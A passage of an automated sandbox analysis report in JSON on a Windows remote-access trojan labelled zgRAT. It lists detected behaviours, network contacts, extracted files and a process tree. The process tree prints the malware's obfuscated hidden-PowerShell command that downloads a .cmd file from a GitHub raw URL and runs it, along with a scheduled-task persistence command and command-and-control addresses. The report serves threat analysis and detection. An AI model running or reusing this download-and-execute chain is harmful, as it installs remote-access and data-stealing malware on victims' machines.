settings","description":"\"sys_installer_27525.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"python.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"sys_installer_27525.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\SystemDrivers\\macOSx\\python.exe\" \"%TEMP%\\SystemDrivers\\macOSx\\ru\" - (UID: 00000000-00001352), \"python.exe\" called \"CreateProcessW\" with parameter \"\"C:\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe\" \"%TEMP%\\Mango.pdf\"\" - (UID: 00000000-00004796)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"python.exe\" called \"ShellExecuteW\" with parameter %TEMP%\\Mango.pdf (UID: 00000000-00004796)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"General","name":"Execute Python scripts with dropped interpreter (Python execution from different path)","description":"Process \"python.exe\" with commandline \"\"%TEMP%\\\\SystemDrivers\\\\macOSx\\\\run.py\"\" (UID: 00000000-00004796)","origin":"Monitored Target","mitre_attack_id":"T1059.006","relevance":5,"id":"target-182","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73370000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"schtasks /Create /TN \"Drivers_EveryMinute\" /XML \"%TEMP%\\\\tmp67_g0g76.xml\" /F\" (UID: 00000000-00005504)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed from task XML file","description":"Process \"schtasks.exe\" with commandline \"schtasks /Create /TN \"Drivers_EveryMinute\" /XML \"%TEMP%\\\\tmp67_g0g76.xml\" /F\" (UID: 00000000-00005504)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":5,"id":"target-414","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"sys_installer_27525.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\SystemDrivers\\macOSx\\python.exe\" (Handle: 2980)\n \"sys_installer_27525.exe\" wrote 00000008 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\SystemDrivers\\macOSx\\python.exe\" (Handle: 2980)\n \"sys_installer_27525.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\SystemDrivers\\macOSx\\python.exe\" (Handle: 2980)\n \"python.exe\" wrote 00000004 bytes to a remote process \"C:\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe\" (Handle: 1292)\n \"python.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Drivers\\macOS\\py.exe\" (Handle: 704)\n \"py.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1176)\n \"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\schtasks.exe\" (Handle: 428)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Network Related","name":"Makes HTTPS connections using an insecure TLS/SSL version","description":"Connection was made using TLSv1.0 [tls.handshake.version: 0x0301]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":10,"id":"network-53","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 51.79.253.174 on port 56001","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - LNK file executes using PowerShell","description":"YARA signature for LNK file executes using PowerShell matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":9,"id":"yara-50","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Known malware detected","description":"The sample is known malware – zgRAT","origin":"Indicator Combinations","relevance":10,"id":"summary-5016","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$65","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"$66","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$67","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"The analysis extracted a file with a known ransomware suffix"}],"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns many processes"},{"detail":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Marks file for deletion"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"}],"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}]},"activity":{"stats":{"process_count":12,"spawned_processes_count":12,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":42,"imported_dlls_count":208,"dropped_files_count":0,"extracted_files_count":32,"files_written_count":142,"files_deleted_count":0,"registry_keys_created_count":42,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":42,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive","infostealer","rat"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a10955ec009001cf70759e7","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Heur.BZC.YAX.Boxter.800","contacted_countries":["SGP","USA"],"submit_name":"49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94.bin","analysis_start_time":"2026-05-22T17:41:51+00:00","indicators_count":{"informative":210,"suspicious":91,"malicious":16},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.199.108.133","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"address":"51.79.253.174","port":56001,"protocol":"TCP","country":"Singapore","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}],"dns_resolutions":[{"domain":"loeop.com","address":"51.79.253.174","ttl":300,"country":"Singapore","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"domain":"raw.githubusercontent.com","address":"185.199.108.133","ttl":35,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}],"http_requests":[{"host":"raw.githubusercontent.com","host_ip":"185.199.108.133:443","url":"/tiiisiet65-sudo/LoioioNoaisK/main/Download-macOSx.cmd","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /tiiisiet65-sudo/LoioioNoaisK/main/Download-macOSx.cmd HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: raw.githubusercontent.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"host":"raw.githubusercontent.com","host_ip":"185.199.108.133:443","url":"/tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1 HTTP/1.1\nHost: raw.githubusercontent.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}],"processes":[{"pid":6852,"ppid":0,"name":"cmd.exe","command_line":"/c powershell.exe -w hidden -c \"$x='7ttps://r4w.8it7u9userc0ntent.c0m/tiiisiet65-sud0/L0i0i0N04isK/m4in/D0wnl04d-m4cOSx.cmd'.Replace('7','h').Replace('4','a').Replace('8','g').Replace('9','b').Replace('0','o');iwr $x -o $env:TEMP\\s.cmd;& $env:TEMP\\s.cmd\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\System32\\cmd.exe","uid":"00000000-00006852","icon":"$68"},{"pid":5396,"ppid":6852,"name":"powershell.exe","command_line":"-w hidden -c \"$x='7ttps://r4w.8it7u9userc0ntent.c0m/tiiisiet65-sud0/L0i0i0N04isK/m4in/D0wnl04d-m4cOSx.cmd'.Replace('7','h').Replace('4','a').Replace('8','g').Replace('9','b').Replace('0','o');iwr $x -o $env:TEMP\\s.cmd;& $env:TEMP\\s.cmd\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006852","uid":"00000000-00005396"},{"pid":1284,"ppid":5396,"name":"cmd.exe","command_line":"/c \"\"%TEMP%\\s.cmd\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005396","uid":"00000000-00001284"},{"pid":7224,"ppid":1284,"name":"csc.exe","command_line":"/nologo /target:winexe /out:\"%TEMP%\\sys_installer_27525.exe\" /reference:System.Windows.Forms.dll,System.Drawing.dll,System.IO.Compression.FileSystem.dll \"%TEMP%\\s.cmd\"","sha256":"4240a12e0b246c9d69af1f697488fe7da1b497df20f4a6f95135b4d5fe180a57","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00001284","uid":"00000000-00007224"},{"pid":5148,"ppid":7224,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RESEFA8.tmp\" \"%TEMP%\\CSC8B61EA076A42497EAC5D599F5673CAA7.TMP\"","sha256":"1fe531eac592b480aa4bd16052b909c3431434f17e7ae163d248355558ce43a6","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00007224","uid":"00000000-00005148"},{"pid":1352,"ppid":1284,"name":"sys_installer_27525.exe","command_line":"","sha256":"3b9fbae594594459569210d0de78d65f69adeb7eada8e24d9e1a8cadeba483b5","normalized_path":"%TEMP%\\sys_installer_27525.exe","parent_uid":"00000000-00001284","uid":"00000000-00001352"},{"pid":4796,"ppid":1352,"name":"python.exe","command_line":"\"%TEMP%\\SystemDrivers\\macOSx\\run.py\"","sha256":"e60592888c3128132df3489a2462716bb268063bfe3564bfe1f2f3dbe9ceafd1","normalized_path":"%TEMP%\\SystemDrivers\\macOSx\\python.exe","parent_uid":"00000000-00001352","uid":"00000000-00004796"},{"pid":2584,"ppid":4796,"name":"AcroRd32.exe","command_line":"\"%TEMP%\\Mango.pdf\"","sha256":"c43c0929e1f9b27dac07d49b0a659e83be4cdb4dfdd709eb7e37a341cd169e87","normalized_path":"%PROGRAMFILES%\\(x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe","parent_uid":"00000000-00004796","uid":"00000000-00002584"},{"pid":2592,"ppid":4796,"name":"py.exe","command_line":"%TEMP%\\Drivers\\macOS\\run.py","sha256":"a527542852595dd7c80455f9ad5f995585928345e7fb548e94f51150d72e5fd3","normalized_path":"%TEMP%\\Drivers\\macOS\\py.exe","parent_uid":"00000000-00004796","uid":"00000000-00002592"},{"pid":3528,"ppid":2592,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"schtasks /Create /TN \"Drivers_EveryMinute\" /XML \"%TEMP%\\tmp67_g0g76.xml\" /F\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00002592","uid":"00000000-00003528"},{"pid":5504,"ppid":3528,"name":"schtasks.exe","command_line":"schtasks /Create /TN \"Drivers_EveryMinute\" /XML \"%TEMP%\\tmp67_g0g76.xml\" /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00003528","uid":"00000000-00005504"},{"pid":5792,"ppid":2592,"name":"powershell.exe","command_line":"$69","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00002592","uid":"00000000-00005792"}],"all_imported_dlls":["msacm32.dll","ninput.dll","IPHLPAPI.DLL","apphelp.dll","NPSWF32.dll","win32u.dll","mscoreei.dll","slc.dll","AGM.dll","ccme_asym.dll","libffi-8.dll","Microsoft.PowerShell.Commands.Utility.dll","gdi32full.dll","comdlg32.dll","fastprox.dll","taskschd.dll","System.Numerics.dll","System.DirectoryServices.dll","cryptbase.dll","profapi.dll","sspicli.dll","dhcpcsvc.dll","sqlite.dll","SensApi.dll","wbemsvc.dll","ntdll.dll","System.ni.dll","sppc.dll","rasadhlp.dll","System.Drawing.ni.dll","ntmarta.dll","dxgi.dll","gdi32.dll","System.Configuration.Install.ni.dll","System.IO.Compression.ni.dll","python311.dll","AcGenral.dll","dcomp.dll","wkscli.dll","coml2.dll","ole32.dll","combase.dll","msasn1.dll","wbemprox.dll","Microsoft.PowerShell.ConsoleHost.dll","imm32.dll","kernel.appcore.dll","vcruntime140_clr0400.dll","System.Transactions.ni.dll","System.Transactions.dll","secur32.dll","winnsi.dll","wow64win.dll","KernelBase.dll","sechost.dll","powrprof.dll","7L4t6m7y.dll","System.Windows.Forms.ni.dll","CoreMessaging.dll","mpr.dll","AXSLE.dll","mscorlib.ni.dll","rsaenh.dll","dhcpcsvc6.dll","System.Management.dll","webio.dll","OpcServices.dll","oleaut32.dll","userenv.dll","AcroRd32.dll","WindowsCodecs.dll","cryptnet.dll","pwrshsip.dll","advapi32.dll","mscoree.dll","System.Core.ni.dll","gpapi.dll","rtutils.dll","winmm.dll","dsound.dll","System.Management.Automation.dll","wldp.dll","OnDemandConnRouteHelper.dll","urlmon.dll","vcruntime140.dll","ccme_base.dll","System.Data.dll","AXE8SharedExpat.dll","ws2_32.dll","clr.dll","System.Management.ni.dll","d3d11.dll","rmclient.dll","devobj.dll","wmiutils.dll","msvcp_win.dll","crypt32.dll","System.Data.ni.dll","clrjit.dll","mskeyprotect.dll","netutils.dll","cabinet.dll","Microsoft.BitLocker.Structures.dll","shlwapi.dll","dnsapi.dll","rasman.dll","ntasn1.dll","msIso.dll","ACE.dll","Wldap32.dll","atl.dll","System.Configuration.ni.dll","mscorpehost.dll","iertutil.dll","VxSSL32.dll","CoolType.dll","dpapi.dll","AdobeXMP.dll","ucrtbase_clr0400.dll","MpOAV.dll","Microsoft.Management.Infrastructure.ni.dll","mswsock.dll","comctl32.dll","samcli.dll","WMINet_Utils.dll","wshext.dll","VxSSL64.dll","ucrtbase.dll","bcryptprimitives.dll","ncrypt.dll","wow64.dll","msvcp100.dll","wbemcomn.dll","wintrust.dll","System.DirectoryServices.ni.dll","MMDevAPI.dll","wsock32.dll","Microsoft.PowerShell.Security.dll","cryptsp.dll","windows.storage.dll","Microsoft.PowerShell.Security.ni.dll","thumbcache.dll","ccme_base_non_fips.dll","mi.dll","version.dll","System.Management.Automation.ni.dll","msctf.dll","cldapi.dll","winmmbase.dll","System.Configuration.Install.dll","Microsoft.PowerShell.Commands.Management.dll","FWPUCLNT.DLL","alink.dll","CoreUIComponents.dll","WinTypes.dll","user32.dll","cfgmgr32.dll","propsys.dll","ksuser.dll","msvcrt.dll","fltLib.dll","rasapi32.dll","schannel.dll","cmdext.dll","GdiPlus.dll","msvcr100.dll","msimg32.dll","wow64cpu.dll","ieframe.dll","Microsoft.KeyDistributionService.Cmdlets.ni.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","bcrypt.dll","System.Numerics.ni.dll","uxtheme.dll","ncryptsslp.dll","python3.dll","BIB.dll","DataExchange.dll","BIBUtils.dll","rpcrt4.dll","SHCore.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","winhttp.dll","Windows.StateRepositoryPS.dll","Microsoft.AppV.AppVClientPowerShell.dll","System.Xml.ni.dll","System.IO.Compression.FileSystem.ni.dll","avrt.dll","MpClient.dll","TextInputFramework.dll","twinapi.appcore.dll","netapi32.dll","wininet.dll","mscms.dll","mlang.dll","normaliz.dll","kernel32.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","clbcatq.dll","amsi.dll","nsi.dll","imagehlp.dll","DWrite.dll","aepic.dll","psapi.dll","shell32.dll","dwmapi.dll","edputil.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"run.vbs","sha256":"ef6f010f608722e8d4153f6d614f598a962a25f8c978a6bfc13999f535fcbbfb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"UserCache.bin","sha256":"bdb6cc5286f05546ec78ba2b3d531e15d6f48ac6342712f54557d371e5692c74","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"7z_encrypted.bin","sha256":"12c4b616995d31ac0781fe87deee38489309ab765e42bc9fd8d7454795e67de4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"libffi-8.dll","sha256":"b982741576a050860c3f3608c7b269dbd35ab296429192b8afa53f1f190069c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"python3.dll","sha256":"4e5d4e72033eda5cd5e6e30e6ddaed4f4ff82c41f3ea89ffce2e9fb7d7b9f370","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"python311.dll","sha256":"4c70503cd8ec785604eae405d0e59aaf649b6a62d284deccebeaa51da47d6c6c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"sqlite3.dll","sha256":"784987eff3300ace9b9cc4c4aae06b647d925c15b811953f0b6281272157478f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"vcruntime140.dll","sha256":"70dd90f6ee01854cecf18b1b6d1dfbf30d33c5170ba07ad8b64721f0bdcc235e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"libssl-3.dll","sha256":"b777ccc04c05ca5b0a6ff68e6c46ad9837dc02311ee132ad6a81910f4a1ed54f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"libcrypto-3.dll","sha256":"7de51a1913ca3b10027f83d99ccccb166d6a3c06ca5d6358f260342dbacdbf6a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"py.exe","sha256":"a527542852595dd7c80455f9ad5f995585928345e7fb548e94f51150d72e5fd3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"s.cmd","sha256":"14311f987651fb5909c9c5493a1efd193f84f54c15668e809b825b91014ab0e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_asyncio.pyd","sha256":"06e8fbe984c071aba8afd4295c51118ea130b434c8ca5a0b1f5ce3ba153e791b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_bz2.pyd","sha256":"f2f775916f24d7b949b68d460fd34cdc86825f542b3d6207733b84106cb43e2e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_ctypes.pyd","sha256":"157f928b0bf79b7cab8f67b5ccaefee6cfd81e8d417eac77ac830b173488f997","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_decimal.pyd","sha256":"82da78dd1a701e5d3560db1c9b5069d7eb55918a7ea84ccaa8e9706220866185","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_elementtree.pyd","sha256":"3db741bea8eee095b889bdcf55e2457adffd87557259000c5e2b08b531ceff72","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_hashlib.pyd","sha256":"c6cb5b01ac5f2c18d99540960855bef93ef177557c3d73cb8599186d4a08c130","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_lzma.pyd","sha256":"03da5f3cfbd22c024bc30623123d6eb200d8cd51fd6911a26dba9c6bd742dfdc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_msi.pyd","sha256":"e1f91426e42d96edd5b3bf74527f9d9fcf98b493adb8f7877d4d3e3faafd3b27","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_multiprocessing.pyd","sha256":"91758225ea7c110ff703214a5e20ef6109e34373477a668aae3ecf565695f452","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_overlapped.pyd","sha256":"0ace22e9c30f9ab3ab7f292e17949fdfd3e7f0d4121464bea2aa7170eee8d289","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"_queue.pyd","sha256":"1cc522afa8efd21280af65ac3015c1439cc6654ecc88053dd76a491ec1a3fbe4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"python.exe","sha256":"e60592888c3128132df3489a2462716bb268063bfe3564bfe1f2f3dbe9ceafd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"StartupProfileData-NonInteractive","sha256":"bc8b0d1e1a0f25a2b198515f2901485adef4bcb987e2f23b75f8c64dc650420d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"c0929698bd4a321a645c741ffe484a6ef4186d52490f65eb1e0cea4460c4ccfa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"42017969502f4d86b1973acb1bf7d63b.aes","sha256":"fa151883b46bac1dca7f636441c422db17337594095258f11f2f0ae5fc00c072","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"43ed62a4e0544c28932cf53619d613a8.zip","sha256":"21b2a5b177de6d6ed6a8f9e1df7ecc80b5716c8a7ede3975ca845774aaebd684","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"LICENSE.txt","sha256":"e502c6b880ff58d614901495a9009c136539cd0b1e2a2abb8fc00b934c203419","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"python.cat","sha256":"2849892e62cfd5116e2c991192a01e6e25dead045ca702823f31903fc927f602","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"suds_00000000000000041.wsf","sha256":"00040db6b47176b174dbd6ac600efa4b4ca08124e729d8381d579f765cd00974","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"suds_000000000000041.wsf","sha256":"00040db6b47176b174dbd6ac600efa4b4ca08124e729d8381d579f765cd00974","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_2yygiw2j.o1o.ps1","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_lzt5u53b.vej.psm1","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\s.cmd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\42017969502f4d86b1973acb1bf7d63b.aes","sources":[{"report_ty